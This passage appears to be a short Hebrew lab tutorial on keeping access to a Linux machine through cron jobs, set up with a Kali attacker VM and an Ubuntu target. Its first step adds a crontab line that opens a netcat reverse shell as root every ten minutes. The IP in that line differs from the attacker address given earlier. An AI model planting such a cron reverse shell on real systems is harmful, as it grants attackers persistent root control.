הן במערכות Windows והן במערכות לינוקס, ניתן לתזמן משימות להפעלה אוטומטית בזמנים מוגדרים. במקרה זה, אנו יכולים להשתמש ב-cron jobs ב-Linux כדי לבצע פקודות כגון הפעלת מטען Metasploit או יצירת חיבור חזרה אלינו באמצעות Netcat.

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (UBUNTU 8) :192.168.184.131

נשתמש ב Metasploit ב KALI

שלב א-

פתח את הקובץ "etc/crontab/" ביעד הלינוקס שלך והוסף את השורה הבאה : "*/10 * * * * root nc 192.168.20.9 12345 -e /bin/bash". תצורה זו תבצע את הפקודה שצוינה, הפועלת כשורש, כל עשר דקות של כל שעה, כל יום וכל חודש.